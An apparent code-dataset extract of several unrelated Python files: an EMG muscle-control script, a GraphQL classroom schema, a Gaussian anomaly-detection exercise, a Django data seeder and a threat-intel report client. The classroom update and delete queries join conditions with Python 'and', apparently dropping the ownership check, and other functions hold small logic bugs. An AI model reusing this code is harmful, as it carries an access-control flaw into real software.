period[0], m]\n time = time_i[time_i < period[1]]\n time = time - time[0]\n data = emg_data[emg_time[:, m] > period[0], m]\n data = data[time_i < period[1]]\n emg_period[osim_muscle_names[m]] = [time, data]\n\n if plot:\n plt.figure()\n for m in range(len(osim_muscle_names)):\n plt.plot(emg_period.get(osim_muscle_names[m])[0], emg_period.get(osim_muscle_names[m])[1] + m*1,\n label=osim_muscle_names[m])\n plt.legend()\n plt.show()\n\n return emg_period, period\n\n\ndef alex(alex_torques, values, time, ref, step_size, n_steps):\n\n torques = {}\n time_sim = np.linspace(0, step_size*n_steps, n_steps)\n for r in alex_torques:\n if r == 'shoulder_add':\n torques[r] = np.interp(time_sim, time, -values[:, list(ref.values()).index(r)])\n else:\n torques[r] = np.interp(time_sim, time, values[:, list(ref.values()).index(r)])\n\n return torques\n\n\ndef compute_alex_torque(sh_marker, m1, elb_marker, m2, m_arm=2.55, m_farm=1.72):\n\n g = 9.81\n m1_sh = m1 - sh_marker\n m2_elb = m2 - elb_marker\n m2_sh = m2 - sh_marker\n elb_torque = np.cross(m2_elb, np.array([0, m_farm*g, 0]))\n sh_torque = np.cross(m1_sh, np.array([0, m_arm * g, 0])) + np.cross(m2_sh, np.array([0, m_farm * g, 0]))\n return -sh_torque, -elb_torque\n\n\ndef init_from_alex(osim_file, alex_file, ti, side, unit='sec'):\n\n if unit == 'min':\n ti = ti // 1 * 60 + ti % 1 * 100\n\n alex_data = open(alex_file, 'r')\n alex_lines = alex_data.readlines()\n t0 = float(alex_lines[2].split(',')[3])\n t = t0\n l = 2\n while t-t0 < ti:\n l += 1\n t = float(alex_lines[l].split(',')[3])\n if side == 'R':\n sh_flex = alex_lines[l].split(',')[8]\n sh_add = alex_lines[l].split(',')[4]\n sh_rot = alex_lines[l].split(',')[5]\n elb_flex = alex_lines[l].split(',')[9]\n sh_elev, sh_elv, sh_rot = alex_transform_coord(float(sh_flex), float(sh_add), float(sh_rot))\n elif side == 'L':\n sh_flex = alex_lines[l].split(',')[45]\n sh_add = alex_lines[l].split(',')[41]\n sh_rot = alex_lines[l].split(',')[42]\n elb_flex = alex_lines[l].split(',')[46]\n sh_elev, sh_elv, sh_rot = alex_transform_coord(float(sh_flex), float(sh_add), float(sh_rot))\n osim_file = modify_default_Coord(osim_file, 'shoulder_elev', max(min(float(sh_elev), 3.14), 0))\n osim_file = modify_default_Coord(osim_file, 'elv_angle', max(min(float(sh_elv), 2.267), -1.57))\n osim_file = modify_default_Coord(osim_file, 'shoulder_rot', max(min(float(sh_rot), 1.48), -1.48))\n osim_file = modify_default_Coord(osim_file, 'elbow_flexion', max(min(1.57+float(elb_flex), 2.267), 0))\n print('sh_flex: ', sh_flex, 'sh_add: ', sh_add, 'sh_rot: ', sh_rot, 'elb_flex: ', 1.57+float(elb_flex))\n print('sh_flex: ', sh_elev, 'sh_elev: ', sh_elv, 'sh_rot: ', sh_rot, 'elb_flex: ', 1.57+float(elb_flex))\n return osim_file\n\n\ndef alex_transform_coord(sh_flex, sh_add, sh_rot):\n\n sh_elv = np.arctan(np.cos(sh_flex)/np.cos(sh_add)) # + sh_rot\n sh_elev = np.arccos(min(max(np.cos(sh_flex)/np.sin(sh_elv), -1), 1)) # (sh_elv-sh_rot)\n return sh_elev, sh_elv, sh_rot\n\n\ndef alex_torque(alex_file, ti=0, tf=-1,\n ref={'R_Torque_3': 'shoulder_elev', 'R_Torque_1': 'shoulder_add', 'R_Torque_2': 'shoulder_rot',\n 'R_Torque_4': 'elbow_flexion'}, plot=False):\n with open(alex_file, 'r') as f1:\n lines = f1.readlines()\n values = np.zeros((len(lines) - 2, len(ref)))\n time = np.zeros(len(lines) - 2)\n joints = lines[0].split(',')\n for r in range(2, len(lines)):\n for j in range(len(joints)):\n if joints[j] in list(ref.keys()):\n time[r - 2] = float(lines[r].split(',')[3])\n values[r - 2, list(ref.keys()).index(joints[j])] = float(lines[r].split(',')[j])\n\n if plot:\n plt.figure()\n for j in range(len(ref)):\n plt.plot(time[time > ti] - time[time > ti][0], values[time > ti, j], label=list(ref.values())[j])\n plt.legend()\n plt.xlabel('time [s]')\n\n values = values[time > ti, :]\n time = time[time > ti] - time[time > ti][0]\n if tf == -1:\n return values, time, ref\n else:\n return values[time < tf, :], time[time < tf], ref\n\n\nif __name__ == '__main__':\n main()","repo_name":"AliceBrue/osim_chuv","sub_path":"emg_control.py","file_name":"emg_control.py","file_ext":"py","file_size_in_byte":33808,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"33419175771","text":"from typing import List, Optional\n\n\n\nimport strawberry\nfrom sqlalchemy import select\nfrom sqlalchemy.exc import NoResultFound, IntegrityError\nfrom strawberry.types import Info\n\nfrom app.server.database.database import async_session_maker\nfrom app.server.database.models import Classroom, ClassroomEquipment, ClassroomTimeSlot\nfrom app.server.fastapi.graphql.types.ClassroomEquipment.ClassroomEquipmentSchema import ClassroomEquipmentSchema\nfrom app.server.fastapi.graphql.types.utils import group_by\n\nfrom app.server.fastapi.graphql.types.User.UserSchema import UserSchema\n\n\n@strawberry.type\nclass ClassroomSchema:\n id: int\n\n building: str\n auditory_number: str\n capacity: int\n\n user_id: int\n classroom_equipment_ids: List[int]\n classroom_time_slot_ids: List[int]\n\n @strawberry.field\n async def user(self, info: Info) -> UserSchema:\n return await info.context['user_loader'].load(self.user_id)\n \n @strawberry.field\n async def classroom_equipments(self, info: Info) -> List[ClassroomEquipmentSchema]:\n return await info.context['classroom_equipment_loader'].load_many(self.classroom_equipment_ids)\n\n @strawberry.field\n async def classroom_time_slots(self, info: Info) -> List[ClassroomEquipmentSchema]:\n return await info.context['classroom_equipment_loader'].load_many(self.classroom_equipment_ids)\n \n @staticmethod\n def from_db_instance(db_instance: Classroom, classroom_equipment_ids: List[int],\n classroom_time_slot_ids: List[int]) -> \"ClassroomSchema\":\n return ClassroomSchema(\n id=db_instance.id,\n building=db_instance.building,\n auditory_number=db_instance.auditory_number,\n capacity=db_instance.capacity,\n user_id=db_instance.user,\n classroom_equipment_ids=classroom_equipment_ids,\n classroom_time_slot_ids=classroom_time_slot_ids\n )\n\n\nasync def get_all_classrooms(user_id: Optional[int] = None) -> List[ClassroomSchema]:\n\n\n equipment_ids_bucket = {}\n\n classrooms = []\n\n async with async_session_maker() as session:\n statement = select(Classroom, ClassroomEquipment) \\\n .outerjoin(ClassroomEquipment, Classroom.id == ClassroomEquipment.classroom) \\\n .where(user_id is None or Classroom.user == user_id)\n\n data = (await session.execute(statement)).all()\n\n for db_classroom, db_classroom_equipments in group_by(data):\n equipment_ids = []\n for [db_classroom_equipment] in db_classroom_equipments:\n if db_classroom_equipment:\n equipment_ids.append(db_classroom_equipment.id)\n equipment_ids_bucket[db_classroom.id] = equipment_ids\n\n\n statement = select(Classroom, ClassroomTimeSlot) \\\n .outerjoin(ClassroomTimeSlot, Classroom.id == ClassroomTimeSlot.classroom) \\\n .where(user_id is None or Classroom.user == user_id)\n\n data = (await session.execute(statement)).all()\n\n for db_classroom, db_classroom_time_slots in group_by(data):\n time_slot_ids = []\n for [db_classroom_time_slot] in db_classroom_time_slots:\n if db_classroom_time_slot:\n time_slot_ids.append(db_classroom_time_slot.id)\n\n classroom = ClassroomSchema.from_db_instance(\n db_classroom,\n classroom_equipment_ids=equipment_ids_bucket[db_classroom.id],\n classroom_time_slot_ids=time_slot_ids\n )\n\n classrooms.append(classroom)\n\n return classrooms\n\n\nasync def create_classroom(building: str, auditory_number: str, capacity: int, user_id: int) -> Optional[ClassroomSchema]:\n async with async_session_maker() as session:\n try:\n db_classroom = Classroom(\n building=building,\n auditory_number=auditory_number,\n capacity=capacity,\n user=user_id\n )\n session.add(db_classroom)\n await session.commit()\n except IntegrityError:\n return None\n\n classroom = ClassroomSchema.from_db_instance(db_classroom, [], [])\n\n return classroom\n\n\nasync def update_classroom(id: int, building: str, auditory_number: str, capacity: int, user_id: int) -> Optional[ClassroomSchema]:\n async with async_session_maker() as session:\n try:\n statement = select(Classroom, ClassroomEquipment) \\\n .outerjoin(ClassroomEquipment, Classroom.id == ClassroomEquipment.classroom) \\\n .where(Classroom.id == id and Classroom.user == user_id)\n data = (await session.execute(statement)).all()\n\n [(db_classroom, db_classroom_equipments)] = group_by(data)\n equipment_ids = []\n for [db_classroom_equipment] in db_classroom_equipments:\n if db_classroom_equipment:\n equipment_ids.append(db_classroom_equipment.id)\n\n statement = select(Classroom, ClassroomTimeSlot) \\\n .outerjoin(ClassroomTimeSlot, Classroom.id == ClassroomTimeSlot.classroom) \\\n .where(Classroom.id == id and Classroom.user == user_id)\n data = (await session.execute(statement)).all()\n\n [(db_classroom, db_classroom_time_slots)] = group_by(data)\n time_slot_ids = []\n for [db_classroom_time_slot] in db_classroom_time_slots:\n if db_classroom_time_slot:\n time_slot_ids.append(db_classroom_time_slot.id)\n\n # Update database entity\n db_classroom.building = building\n db_classroom.auditory_number = auditory_number\n db_classroom.capacity = capacity\n db_classroom.user = user_id\n await session.commit()\n\n except NoResultFound:\n return None\n\n classroom = ClassroomSchema.from_db_instance(db_classroom, equipment_ids, time_slot_ids)\n\n return classroom\n\n\nasync def delete_classroom(id: int, user_id:int) -> Optional[ClassroomSchema]:\n async with async_session_maker() as session:\n try:\n statement = select(Classroom).where(Classroom.id == id and Classroom.user == user_id)\n db_classroom = (await session.execute(statement)).one()\n\n await session.delete(db_classroom)\n await session.commit()\n\n except NoResultFound:\n return None\n \n classroom = ClassroomSchema.from_db_instance(db_classroom, [], [])\n\n return classroom\n","repo_name":"victorhom19/AutoTimetabling","sub_path":"app/server/fastapi/graphql/types/Classroom/ClassroomSchema.py","file_name":"ClassroomSchema.py","file_ext":"py","file_size_in_byte":6556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23314806874","text":"import numpy as np\nimport scipy.io as scio\nimport math\nimport matplotlib.pyplot as plt\n\n\n# 用于导入数据的函数\ndef input_data():\n # 导入训练集的路径\n data_file = 'data/ex8data1.mat'\n # 导入训练集\n data = scio.loadmat(data_file)\n X = data['X']\n X_val = data['Xval']\n y_val = data['yval']\n # # 可视化原始数据\n # fig,ax = plt.subplots(1,1)\n # ax.scatter(X[:,0],X[:,1])\n # plt.show()\n return X, X_val, y_val\n\n\n# 用于计算单变量高斯分布\ndef univariate_gaussian_distribution(X, mean, var):\n # 根据单变量高斯分布公式计算每种特征的概率\n p = np.exp(-np.power((X - mean), 2) / (2 * var)) / (np.sqrt(2 * math.pi * var))\n answer_p = p[:, 0]\n for i in range(1, p.shape[1]):\n answer_p = answer_p * p[:, i] # 假设相互独立,累乘计算总体概率\n return answer_p\n\n\n# 用于计算多变量高斯分布\ndef multivariate_gaussian_distribution(X, mean, covariance):\n # 根据多变量高斯分布公式计算总的概率\n p = np.exp(-0.5 * np.diag((X - mean) @ np.linalg.inv(covariance) @ (X - mean).T)) / (\n np.power((2 * math.pi), 0.5 * X.shape[1]) * np.power(np.linalg.det(covariance), 0.5))\n return p\n\n\n# 用于选取阈值的函数\ndef select_threshold(X_val, y_val, mean, variance, covariance):\n p = univariate_gaussian_distribution(X_val, mean, variance) # 调用单变量高斯分布函数\n # p = multivariate_gaussian_distribution(X_val, mean, covariance) # 调用多变量高斯分布函数\n choose_epsilon = 0 # 定义初始阈值\n f = 0 # 定义初始f值\n for epsilon in np.linspace(min(p), max(p), 1000): # 遍历每一种阈值\n tp = 0 # true positive\n fp = 0 # false positive\n fn = 0 # false negative\n for i in range(0, p.shape[0]): # 遍历每一个概率\n if p[i] < epsilon and y_val[i] == 1: # true positive\n tp += 1\n elif p[i] < epsilon and y_val[i] == 0: # false positive\n fp += 1\n elif p[i] >= epsilon and y_val[i] == 1: # false negative\n fn += 1\n prec = tp / (tp + fp) if (tp + fp) != 0 else 0 # 计算精确率\n rec = tp / (tp + fn) if (tp + fn) != 0 else 0 # 计算召回率\n com_f = 2 * prec * rec / (prec + rec) if (prec + rec) != 0 else 0 # 计算f值\n if com_f > f:\n choose_epsilon = epsilon # 如果得到更好f值的阈值,那么就进行更新\n f = com_f\n return choose_epsilon, f\n\n\n# 用于绘制等高线的函数\ndef plotContour(X, X_val, y_val, mean, variance, covariance):\n choose_epsilon, f = select_threshold(X_val, y_val, mean, variance, covariance) # 调用选取最优阈值的函数\n p = univariate_gaussian_distribution(X, mean, variance) # 调用单变量高斯分布计算概率\n # p = multivariate_gaussian_distribution(X, mean, covariance) # 调用多变量高斯分布计算概率\n # 可视化原始数据\n fig, ax = plt.subplots(1, 1)\n ax.scatter(X[:, 0], X[:, 1]) # 绘制原始数据散点\n anoms = np.array([X[i] for i in range(0, X.shape[0]) if p[i] < choose_epsilon]) # 挑选异常点\n ax.scatter(anoms[:, 0], anoms[:, 1], color='r', marker='x') # 标记异常点\n # 用于绘制等高线\n x_min, x_max = 0, 30\n y_min, y_max = 0, 30\n x = np.arange(x_min, x_max, 0.3)\n y = np.arange(y_min, y_max, 0.3)\n xx, yy = np.meshgrid(x, y) # 生成网格\n z = univariate_gaussian_distribution(np.c_[xx.ravel(), yy.ravel()], mean, variance) # 调用单变量高斯分布\n # z = multivariate_gaussian_distribution(np.c_[xx.ravel(), yy.ravel()], mean, covariance) # 调用多变量高斯分布\n zz = z.reshape(xx.shape) # 重构一下维度\n cont_levels = [10 ** h for h in range(-20, 0, 3)]\n ax.contour(xx, yy, zz, cont_levels) # 绘制等高线图\n plt.show()\n\n\nif __name__ == '__main__':\n X, X_val, y_val = input_data() # 导入数据\n # 特别注意:在绘制等高线时要使用原始数据的均值、方差、协方差\n mean = np.mean(X, axis=0) # 计算原始数据的均值\n variance = np.var(X, axis=0) # 计算方差,用于单变量高斯分布\n covariance = np.cov(X, rowvar=False) # 计算协方差,用于多变量高斯分布\n choose_epsilon, f = select_threshold(X_val, y_val, mean, variance, covariance) # 挑选阈值\n print('choose_epsilon:', choose_epsilon, ' f:', f) # 打印阈值和f\n plotContour(X, X_val, y_val, mean, variance, covariance) # 绘制等高线图\n","repo_name":"scorpion293/machinelearing","sub_path":"wuenda_homework/week8_abnormaldetectio_recommend/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":4556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37313039723","text":"from django.core.management.base import BaseCommand\nfrom movies.models import Actor, Movie, Category, Score, User\nfrom faker import Faker\n# pip install faker 필수\n\nclass Command(BaseCommand):\n\n def handle(self, *args, **options):\n fake = Faker()\n Faker.seed(0)\n\n categories = [\n 'drama',\n 'comedy',\n 'romance',\n 'thriller',\n 'action',\n 'documentary',\n 'horror',\n 'animation',\n ]\n\n # create categories\n for i in range(8):\n Category.objects.create(\n name=categories[i]\n )\n \n # create actors\n for i in range(50):\n Actor.objects.create(\n name=fake.name(),\n age=fake.random_int(min=10, max=50)\n )\n\n # create movies\n for i in range(100):\n movie = Movie.objects.create(\n title=fake.sentence(),\n year=fake.year(),\n )\n\n # random choice 3 actors and 2 categories\n actors = Actor.objects.order_by('?')[:3]\n categories = Category.objects.order_by('?')[:2]\n\n # add actors and categories to movie\n movie.actors.add(*actors)\n movie.categories.add(*categories)\n\n\n # create users\n for i in range(50):\n User.objects.create(\n name=fake.name(),\n country=fake.country(),\n email=fake.free_email(),\n age=fake.random_int(min=10, max=50)\n )\n\n\n # create scores\n for i in range(1000):\n movie = Movie.objects.order_by('?').first()\n user = User.objects.order_by('?').first()\n\n Score.objects.create(\n content=fake.sentence(),\n value=fake.random_int(min=1, max=5),\n movie=movie,\n user=user,\n )","repo_name":"JunBeomPark1120/ORMSQL","sub_path":"movies/management/commands/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20505126173","text":"# python 2 backwards compatibility\nfrom __future__ import print_function\nfrom builtins import object, str\nfrom typing import Type\nfrom future import standard_library\nfrom six import string_types\n\n# external imports\nimport json\nfrom datetime import datetime\nimport functools\nfrom requests.exceptions import BaseHTTPError\n\n# package imports\nfrom .log import get_logger\nfrom .models import NumberedPage, Report, RedactedReport, DistributionType, IdType\nfrom .utils import get_time_based_page_generator, DAY\n\n# python 2 backwards compatibility\nstandard_library.install_aliases()\n\nlogger = get_logger(__name__)\n\n\nclass ReportClient(object):\n\n def get_report_details(self, report_id, id_type=None):\n \"\"\"\n Retrieves a report by its ID. Internal and external IDs are both allowed.\n\n :param str report_id: The ID of the incident report.\n :param str id_type: Indicates whether ID is internal or external.\n\n :return: The retrieved |Report| object.\n\n Example:\n\n >>> report = ts.get_report_details(\"1a09f14b-ef8c-443f-b082-9643071c522a\")\n >>> print(report)\n {\n \"id\": \"1a09f14b-ef8c-443f-b082-9643071c522a\",\n \"created\": 1515571633505,\n \"updated\": 1515620420062,\n \"reportBody\": \"Employee reported suspect email. We had multiple reports of suspicious email overnight ...\",\n \"title\": \"Phishing Incident\",\n \"enclaveIds\": [\n \"ac6a0d17-7350-4410-bc57-9699521db992\"\n ],\n \"distributionType\": \"ENCLAVE\",\n \"timeBegan\": 1479941278000\n }\n\n \"\"\"\n\n params = {'idType': id_type}\n resp = self._client.get(\"reports/%s\" % report_id, params=params)\n return Report.from_dict(resp.json())\n\n def get_reports_page(self, is_enclave=None, enclave_ids=None, tag=None, excluded_tags=None,\n from_time=None, to_time=None):\n \"\"\"\n Retrieves a page of reports, filtering by time window, distribution type, enclave association, and tag.\n The results are sorted by updated time.\n This method does not take ``page_number`` and ``page_size`` parameters. Instead, each successive page must be\n found by adjusting the ``from_time`` and ``to_time`` parameters.\n\n Note: This endpoint will only return reports from a time window of maximum size of 2 weeks. If you give a\n time window larger than 2 weeks, it will pull reports starting at 2 weeks before the \"to\" date, through the\n \"to\" date.\n\n :param boolean is_enclave: restrict reports to specific distribution type (optional - by default all accessible\n reports are returned).\n :param list(str) enclave_ids: list of enclave ids used to restrict reports to specific enclaves (optional - by\n default reports from all of user's enclaves are returned)\n :param list(str) tag: Name (or list of names) of tag(s) to filter reports by. Only reports containing\n ALL of these tags will be returned.\n :param list(str) excluded_tags: Reports containing ANY of these tags will be excluded from the results.\n :param int from_time: start of time window in milliseconds since epoch (optional)\n :param int to_time: end of time window in milliseconds since epoch (optional)\n\n :return: A |NumberedPage| of |Report| objects.\n\n \"\"\"\n\n distribution_type = None\n\n # explicitly compare to True and False to distinguish from None (which is treated as False in a conditional)\n if is_enclave:\n distribution_type = DistributionType.ENCLAVE\n elif not is_enclave:\n distribution_type = DistributionType.COMMUNITY\n\n if enclave_ids is None:\n enclave_ids = self.enclave_ids\n\n params = {\n 'from': from_time,\n 'to': to_time,\n 'distributionType': distribution_type,\n 'enclaveIds': enclave_ids,\n 'tags': tag,\n 'excludedTags': excluded_tags\n }\n resp = self._client.get(\"reports\", params=params)\n result = NumberedPage.from_dict(resp.json(), content_type=Report)\n\n # create a NumberedPage object from the dict\n return result\n\n def submit_report(self, report):\n \"\"\"\n Submit a report.\n\n * If ``report.is_enclave`` is ``True``, then the report will be submitted to the enclaves\n identified by ``report.enclaves``; if that field is ``None``, then the enclave IDs registered with this\n |TruStar| object will be used.\n * If ``report.time_began`` is ``None``, then the current time will be used.\n\n :param report: The |Report| object that was submitted, with the ``id`` field updated based\n on values from the response.\n\n Example:\n\n >>> report = Report(title=\"Suspicious Activity\",\n >>> body=\"We have been receiving suspicious requests from 169.178.68.63.\",\n >>> enclave_ids=[\"602d4795-31cd-44f9-a85d-f33cb869145a\"])\n >>> report = ts.submit_report(report)\n >>> print(report.id)\n ac6a0d17-7350-4410-bc57-9699521db992\n >>> print(report.title)\n Suspicious Activity\n \"\"\"\n\n # make distribution type default to \"enclave\"\n if report.is_enclave is None:\n report.is_enclave = True\n\n if report.enclave_ids is None:\n # use configured enclave_ids by default if distribution type is ENCLAVE\n if report.is_enclave:\n report.enclave_ids = self.enclave_ids\n # if distribution type is COMMUNITY, API still expects non-null list of enclaves\n else:\n report.enclave_ids = []\n\n if report.is_enclave and len(report.enclave_ids) == 0:\n raise Exception(\"Cannot submit a report of distribution type 'ENCLAVE' with an empty set of enclaves.\")\n\n # default time began is current time\n if report.time_began is None:\n report.set_time_began(datetime.now())\n\n data = json.dumps(report.to_dict())\n resp = self._client.post(\"reports\", data=data, timeout=60)\n\n # get report id from response body\n report_id = resp.content\n\n if isinstance(report_id, bytes):\n report_id = report_id.decode('utf-8')\n\n report.id = report_id\n\n return report\n\n def update_report(self, report):\n \"\"\"\n Updates the report identified by the ``report.id`` field; if this field does not exist, then\n ``report.external_id`` will be used if it exists. Any other fields on ``report`` that are not ``None``\n will overwrite values on the report in TruSTAR's system. Any fields that are ``None`` will simply be ignored;\n their values will be unchanged.\n\n :param report: A |Report| object with the updated values.\n :return: The |Report| object.\n\n Example:\n\n >>> report = ts.get_report_details(report_id)\n >>> print(report.title)\n Old Title\n >>> report.title = \"Changed title\"\n >>> updated_report = ts.update_report(report)\n >>> print(updated_report.title)\n Changed Title\n \"\"\"\n\n # default to interal ID type if ID field is present\n if report.id is not None:\n id_type = IdType.INTERNAL\n report_id = report.id\n # if no ID field is present, but external ID field is, default to external ID type\n elif report.external_id is not None:\n id_type = IdType.EXTERNAL\n report_id = report.external_id\n # if no ID fields exist, raise exception\n else:\n raise Exception(\"Cannot update report without either an ID or an external ID.\")\n\n # not allowed to update value of 'reportId', so remove it\n report_dict = {k: v for k, v in report.to_dict().items() if k != 'reportId'}\n\n params = {'idType': id_type}\n\n data = json.dumps(report.to_dict())\n self._client.put(\"reports/%s\" % report_id, data=data, params=params)\n\n return report\n\n def delete_report(self, report_id, id_type=None):\n \"\"\"\n Deletes the report with the given ID.\n\n :param report_id: the ID of the report to delete\n :param id_type: indicates whether the ID is internal or an external ID provided by the user\n :return: the response object\n\n Example:\n\n >>> response = ts.delete_report(\"4d1fcaee-5009-4620-b239-2b22c3992b80\")\n \"\"\"\n\n params = {'idType': id_type}\n self._client.delete(\"reports/%s\" % report_id, params=params)\n\n def copy_report(self, src_report_id, dest_enclave_id, from_provided_submission=False, report=None, tags=None):\n \"\"\"\n Copy a report to another enclave. All properties of the report, including tags, will be copied.\n A reference to the original report will still be stored on the child, allowing the system to track the\n relationship between the original report and copies made from it.\n\n If the ``from_provided_submission`` parameter is ``True``, then edits can be applied to the copied report. This\n is useful in cases where the body or title must be redacted first, or the list of tags needs to be altered for\n the copy. In this case, a |Report| object and a list of tag names must be provided, which will fill out the\n copied report. A reference to the original report will still be stored on the copy.\n **NOTE:** Partial edits are not allowed. ALL fields must be filled out on this object, and the\n fields from the original report will completely ignored.\n\n :param str src_report_id: the ID of the report to copy\n :param str dest_enclave_id: the ID of the enclave to copy the report to\n :param boolean from_provided_submission: whether to apply edits from a supplied report object and list of tags\n :param Report report: (required if ``from_provided_submission`` is ``True``) a report object containing an edited version to use as the copy.\n This allows information to be redacted, or other arbitrary edits to be made to the copied version.\n **NOTE:** Partial edits are not allowed. ALL fields must be filled out on this object, and the fields from\n the original report will completely ignored.\n :param list(str) tags: (required if ``from_provided_submission`` is ``True``) a list of tags to use if ``from_provided_submission`` is ``True``.\n **NOTE:** if ``from_provided_submission`` is True, the tags from the source report will be completely\n ignored, and this list of tags will be used instead. MUST be provided if ``from_provided_submission`` is ``True``.\n :return: the ID of the newly-created copy\n \"\"\"\n\n params = {\n 'destEnclaveId': dest_enclave_id,\n 'copyFromProvidedSubmission': from_provided_submission\n }\n\n # determine if edits are being made to the copy\n if from_provided_submission:\n # ensure an edited version of the report has been provided\n if not report:\n raise Exception(\"Cannot copy from provided submission without providing a report object\")\n # ensure an edited list of tags has been provided\n if not tags:\n raise Exception(\"Cannot copy from provided submission without providing a list of tags\")\n\n # form the JSON dictionary of the report\n body = report.to_dict()\n # add the list of tags to the JSON\n # NOTE: this field on the report object cannot be used in other endpoints on this API version\n body['tags'] = tags\n else:\n body = None\n\n response = self._client.post('reports/copy/{id}'.format(id=src_report_id), params=params, data=json.dumps(body))\n return response.json().get('id')\n\n def move_report(self, report_id, dest_enclave_id):\n \"\"\"\n Move a report from one enclave to another.\n\n **NOTE:** All tags will be moved, as well.\n\n :param report_id: the ID of the report to move\n :param dest_enclave_id: the ID of the enclave to move the report to\n :return: the ID of the report\n \"\"\"\n\n params = {\n 'destEnclaveId': dest_enclave_id\n }\n\n response = self._client.post('reports/move/{id}'.format(id=report_id), params=params)\n return response.json().get('id')\n\n def get_correlated_report_ids(self, indicators):\n \"\"\"\n DEPRECATED!\n Retrieves a list of the IDs of all TruSTAR reports that contain the searched indicators.\n\n :param indicators: A list of indicator values to retrieve correlated reports for.\n :return: The list of IDs of reports that correlated.\n\n Example:\n\n >>> report_ids = ts.get_correlated_report_ids([\"wannacry\", \"www.evil.com\"])\n >>> print(report_ids)\n [\"e3bc6921-e2c8-42eb-829e-eea8da2d3f36\", \"4d04804f-ff82-4a0b-8586-c42aef2f6f73\"]\n \"\"\"\n\n params = {'indicators': indicators}\n resp = self._client.get(\"reports/correlate\", params=params)\n return resp.json()\n\n def get_correlated_reports_page(self, indicators, enclave_ids=None, is_enclave=True,\n page_size=None, page_number=None):\n \"\"\"\n Retrieves a page of all TruSTAR reports that contain the searched indicators.\n\n :param indicators: A list of indicator values to retrieve correlated reports for.\n :param enclave_ids: The enclaves to search in.\n :param is_enclave: Whether to search enclave reports or community reports.\n :param int page_number: the page number to get.\n :param int page_size: the size of the page to be returned.\n :return: The list of IDs of reports that correlated.\n\n Example:\n\n >>> reports = ts.get_correlated_reports_page([\"wannacry\", \"www.evil.com\"]).items\n >>> print([report.id for report in reports])\n [\"e3bc6921-e2c8-42eb-829e-eea8da2d3f36\", \"4d04804f-ff82-4a0b-8586-c42aef2f6f73\"]\n \"\"\"\n\n if is_enclave:\n distribution_type = DistributionType.ENCLAVE\n else:\n distribution_type = DistributionType.COMMUNITY\n\n params = {\n 'indicators': indicators,\n 'enclaveIds': enclave_ids,\n 'distributionType': distribution_type,\n 'pageNumber': page_number,\n 'pageSize': page_size\n }\n resp = self._client.get(\"reports/correlated\", params=params)\n\n return NumberedPage.from_dict(resp.json(), content_type=Report)\n\n def search_reports_page(self, search_term=None,\n enclave_ids=None,\n from_time=None,\n to_time=None,\n tags=None,\n excluded_tags=None,\n page_size=None,\n page_number=None):\n \"\"\"\n Search for reports containing a search term.\n\n :param str search_term: The term to search for. If empty, no search term will be applied. Otherwise, must\n be at least 3 characters.\n :param list(str) enclave_ids: list of enclave ids used to restrict reports to specific enclaves (optional - by\n default reports from all of user's enclaves are returned)\n :param int from_time: start of time window in milliseconds since epoch (optional)\n :param int to_time: end of time window in milliseconds since epoch (optional)\n :param list(str) tags: Name (or list of names) of tag(s) to filter reports by. Only reports containing\n ALL of these tags will be returned. (optional)\n :param list(str) excluded_tags: Reports containing ANY of these tags will be excluded from the results.\n :param int page_number: the page number to get. (optional)\n :param int page_size: the size of the page to be returned.\n :return: a |NumberedPage| of |Report| objects. *NOTE*: The bodies of these reports will be ``None``.\n \"\"\"\n\n body = {\n 'searchTerm': search_term\n }\n\n params = {\n 'enclaveIds': enclave_ids,\n 'from': from_time,\n 'to': to_time,\n 'tags': tags,\n 'excludedTags': excluded_tags,\n 'pageSize': page_size,\n 'pageNumber': page_number\n }\n\n resp = self._client.post(\"reports/search\", params=params, data=json.dumps(body))\n page = NumberedPage.from_dict(resp.json(), content_type=Report)\n\n return page\n\n def _get_reports_page_generator(self, is_enclave=None, enclave_ids=None, tag=None, excluded_tags=None,\n from_time=None, to_time=None):\n \"\"\"\n Creates a generator from the |get_reports_page| method that returns each successive page.\n\n :param boolean is_enclave: restrict reports to specific distribution type (optional - by default all accessible\n reports are returned).\n :param list(str) enclave_ids: list of enclave ids used to restrict reports to specific\n enclaves (optional - by default reports from all enclaves are returned)\n :param str tag: name of tag to filter reports by. if a tag with this name exists in more than one enclave\n indicated in ``enclave_ids``, the request will fail. handle this by making separate requests for each\n enclave ID if necessary.\n :param int from_time: start of time window in milliseconds since epoch\n :param int to_time: end of time window in milliseconds since epoch (optional, defaults to current time)\n :return: The generator.\n \"\"\"\n\n def get_next_to_time(result, to_time):\n \"\"\"\n For each page, get the timestamp of the earliest report in the result set. The next query will use this\n timestamp as the end of its interval. This endpoint limits queries to 1 day. If the result set is\n empty, subtract 1 day from the to_time for the next interval.\n\n :param result: the result set of the previous call\n :param to_time: the to_time of the previous call\n :return: the next to_time\n \"\"\"\n\n if len(result.items) > 0:\n return result.items[-1].updated - 1\n else:\n return to_time - DAY\n\n get_page = functools.partial(self.get_reports_page, is_enclave, enclave_ids, tag, excluded_tags)\n return get_time_based_page_generator(\n get_page=get_page,\n get_next_to_time=get_next_to_time,\n from_time=from_time,\n to_time=to_time\n )\n\n def get_reports(self, is_enclave=None, enclave_ids=None, tag=None, excluded_tags=None, from_time=None, to_time=None):\n \"\"\"\n Uses the |get_reports_page| method to create a generator that returns each successive report as a trustar\n report object.\n\n :param boolean is_enclave: restrict reports to specific distribution type (optional - by default all accessible\n reports are returned).\n :param list(str) enclave_ids: list of enclave ids used to restrict reports to specific\n enclaves (optional - by default reports from all enclaves are returned)\n :param list(str) tag: a list of tags; only reports containing ALL of these tags will be returned. \n If a tag with this name exists in more than one enclave in the list passed as the ``enclave_ids``\n argument, the request will fail. Handle this by making separate requests for each\n enclave ID if necessary.\n :param list(str) excluded_tags: a list of tags; reports containing ANY of these tags will not be returned. \n :param int from_time: start of time window in milliseconds since epoch (optional)\n :param int to_time: end of time window in milliseconds since epoch (optional)\n :return: A generator of Report objects.\n\n Note: If a report contains all of the tags in the list passed as argument to the 'tag' parameter and also \n contains any (1 or more) of the tags in the list passed as argument to the 'excluded_tags' parameter, that \n report will not be returned by this function. 